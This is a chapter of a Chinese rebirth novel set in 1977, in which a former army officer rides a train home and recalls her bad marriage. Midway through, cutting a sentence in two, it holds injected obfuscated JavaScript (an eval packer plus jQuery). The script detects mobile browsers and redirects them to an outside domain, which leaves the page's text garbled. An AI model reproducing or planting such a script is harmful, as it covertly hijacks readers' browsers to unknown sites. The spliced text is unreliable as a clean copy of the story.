“哐当哐当——”老式绿皮车在山野之中加速疾驰。
程英闭着眼睛,坐在临窗的车厢位置上,脑子里思绪万千。
上辈子她最大的梦想,是为祖国效命,为保护人民而奋斗。
尽管魏牧成一直跟她纠缠不休,给她制造了不少麻烦,依然没能改变她的信仰,她为国为民,在部队奉献了自己的一生。
重活一世,她其实很后悔前世一直在军中当军官,后悔嫁给魏牧成。
她在军中当兵,拼了老命的训练、出任务,往上爬,不断升职,这就意味着,她一直都呆在部队里,没有时间去陪自己的家人,去孝顺自己的父母,没有时间回到家乡,看看那些可爱的乡亲们。
她为数不多的私人时间,因为结了婚,成了魏牧成的妻子,魏家的儿媳妇,下了班,就得跟魏牧成在一起,给他洗衣做饭,做各种家务,做到一个外人眼中,妻子该做的事情,还得抽空去首都的魏家,跟魏家人在一起,联络所谓的感情。
她前世算是一个女强人,却还是无法摆脱世俗的观念和规矩,做着自己不愿意做得事情,生生磋磨了自己最好的青春时光。
她永远没办法忘记,前世魏家许多亲朋知道她是女军官,在西部战区级别不低,比魏牧成还高两个级别之时,他们总是夸魏牧成好福气,娶了个能干的媳妇,从不夸她一句。
她为此替自己不值,她所有的努力和成就,在别人的眼中,她终究是魏牧成的附属品,甚至她还得遵循他们的规矩,为魏牧成洗衣做饭,生儿育女,还得忍受魏牧成和魏家之人诸多刁难情绪,她真不知道这样的婚姻,于她来讲,有什么意义。
重活一世,她不想再结婚嫁人,去伺候男人,她就想为自己而活。
哪怕她以后想要生孩子,她要么找个男人借种,要么娶个倒插门女婿上门,让男人入赘,为她洗衣做羹。
她再也不想为了一个男人,浪费自己的大好青春年华。
想到这里,她睁开了眼睛,看着窗外一闪而过的风景,对于即将回到自己的家乡,心里开始激动期待起来。
“同志,你是哪个部队退伍的?”坐在她对面,一个穿着碎花短袖衬衫,一条黑色长裤,梳着两条麻花辫儿,五官长得不错,但可能在乡下呆久了,皮肤被太阳晒得颇黑,有些风霜的年轻姑娘,对程英微笑着发问。
程英回神,望着她脸上纯真的笑容,还有附近绿皮硬座上坐满的乘客,都穿着七十年代陈旧淳朴只有黑蓝灰颜色的衣服,每个人都看向她,充满好奇的神色。
她心中终于有一种重生回来的真实感觉,态度温和的说:“具体部队我不能说,我只能跟你说,我是西部军区的。”
她是退伍了不错,不过身上还穿着退伍后允许穿得一套军绿色军装,胸口斜挂着一条写有‘光荣退伍’的红色绶带,胸口还戴着一朵大红花,以此来表明她曾为国防和军队建设贡献了力量,让看见她的百姓,对她表示尊重。
她其实不想穿军装,不想挂红色绶带和大红花坐车的,主要是不想让魏首长和魏牧成知道她退伍了。
但是王政委态度严肃地告诉她,她必须要穿戴,这是部队军人退伍转业的章程,她穿上军装,戴上绶带和红花,能靠这身装扮,免去一次返乡的火车票钱,回家的途中,还能享受各种优待,她为了节约一点路费、伙食费,妥协了。
临上火车之前,魏牧成终于知道了她申请了退伍返乡的事情,在火车启动之时,气喘吁吁地赶到了火车站台,一直追着火车,嘴里大喊:“程英,你敢背着我申请退伍返乡?你以为你回到了你老家,我们之间就算断了联系吗?我告诉你,我不同意分手,你就永远是我的对象,我会来找你,好好谈谈我们之间的事情。”
神经病!谁稀罕做他对象,对于他这个人渣,她想分手就分手,还需要他同意?他还真把自己当成一回事了!
程英心里骂着魏牧成,面上态度还算平静,趴在窗户对魏牧成挥手道:“回去吧,你我缘分已尽,你别再来找我了,你回家好好反思一下你的问题,好好想想你母亲是个什么样的人,你我本就不合适,我们俩在一起就是个错误,你把我忘掉吧,重新找个好的女人处对象,相信你一定会跟她过得很好的。”
魏牧成又说了什么,她没听清,因为火车已经开远了。
不过她能看到魏牧成一直狂奔追着火车,从站台追到田野,再从田野追到轨道。
期间他没注意脚下的路,摔倒好几回,摔得头破血流,依然不管不顾地爬起身来,一瘸一拐地继续追火车,好几次都差点追上了。
他这举动,引起了车厢其他乘客和乘务员的注意,众人纷纷开口询问,是不是那位同志买了火车票,错过了时间没上车,要不要通知前面的列车长,把车速慢下来,让那位同志上火车。
程英心里暗骂魏牧成疯子,面上严肃地让乘务员不要多管闲事,耽误其他乘客行程。
乘务员看她穿着军装,还有军衔,知道一个女军人要在部队里升职有多么不容易,除了自身要很优秀以外,还要有一定的人脉靠山才行,当下也没多言语,将这事儿压了下去。
如今这辆火车已经行驶了两天一夜,进入了临市的地区范围,即将到达一个名叫青石县的县城,程英从上火车开始,就一直闭目眼神,不跟周围的人交谈,其他乘客就算有什么八卦之心,也不好开口打扰她的清净。
那年轻女同志一听,眼睛亮了起来,“同志,我看你年纪也不大,看起来只有二十岁吧,你这么年轻就有军衔了,为什么要退伍呢?你要一直呆在部队,说不定能做上更高的女军官位置呢,那走出去,多风光啊......”
程英笑了笑,没有回答她的问题,反而开口问:“如今大动乱已经过去,很多人都想着办法办理了回城手续,我看你的模样,像是知青,你这是还要回到乡下,继续建设农村?”
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044275|178933||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在部队呆久了,习惯对部队的任何事情进行保密,不愿意向任何陌生人提起自己丁点事情,巧妙地把话题转移。
现如今是1977年的七月,距离十年大动乱已经过去了一年,距离全国恢复高考还有一个月。
因为各种原因下乡的知青们,在这一年都蠢蠢欲动,想着办法办理回城手续,全国各地的知青们为了回城名额争破了脑袋,闹出了不少事情出来。
能回城探亲的,基本都冲着死皮赖脸留在城里,想办法找个工作,不再回乡的想法。
倒没想到,这一车有不少知青,这么老实巴交地继续回到所分配的乡下劳动。
那女知青脸色一下暗淡下来:“谁不想办理回城手续回城啊,可是回城的名额有限,地方的名额,总是给那些有关系,有人脉的人,我这种没钱没关系的,哪能抢到名额。只能请假回家,厚着脸皮呆了十天半月,想看看能不能找到工作,解决回城的问题。但工作哪是那么好找的,回程的知青太多了,临时工的工作都给占没了,我一直呆在家里,被邻居和街道办的工作人员不停举报,一直要督查办和公安局的公安把我遣返回乡下劳动,我想不下乡都难啊。”
周围好几张年轻的面孔,都很赞同的点点头,纷纷抱怨现在的政策不够宽容,回城名额太少了,他们想回城都没办法。
程英没有参与他们的话题,作为一个重活一世的人,她深刻知道,知青全面返乡,是在两年后的1979年,到那时候,压根就不需要什么回城名额,这些下乡的知青都能回到自己的家乡。
不过这些知青不会知道以后得事情,也不会知道一个月后国家会恢复高考,即将改变他们的人生。
他们现在还沉浸在不能回城的苦恼中,程英也不会傻到去提醒他们这些事情。
对于恢复高考的事情,程英没有任何期待和参与的想法,她已经规划好了自己这一生的道路,她要做乡邮员,要走出跟前世不一样的道路。
前世她看过繁华,过了好些年的好日子,也尽力完成了自己的梦想和职责,对她来说已经足够,今生她只想走在父亲的道路,看看父亲无法忘怀的乡邮之路。
接下来的行程十分安静,程英不愿意多说话,车厢里的其他乘客也很识趣地不再打扰她。
半天时间过去,火车停到了青石县的站台,到这个站的乘客们,陆陆续续拎着自己的包裹下车,程英也不例外。
程英的包裹并不多,只有两个装了衣物和随身物品,一些军用罐头、麦乳精之类食物的军绿色包裹。
她一手拎一个包裹,下了火车,随着人群走到车站门口。
此时已经临近傍晚,天边满是如火焰一般燃烧的晚霞,那色彩斑斓的光芒,让人看着就心生愉悦。
霞光之下,五官清丽,身形有些圆润,脸上有些婴儿肥,十八岁的程雪,站在火车站门口,看到程英出现,激动向她招手:“姐,这里,过来这里!”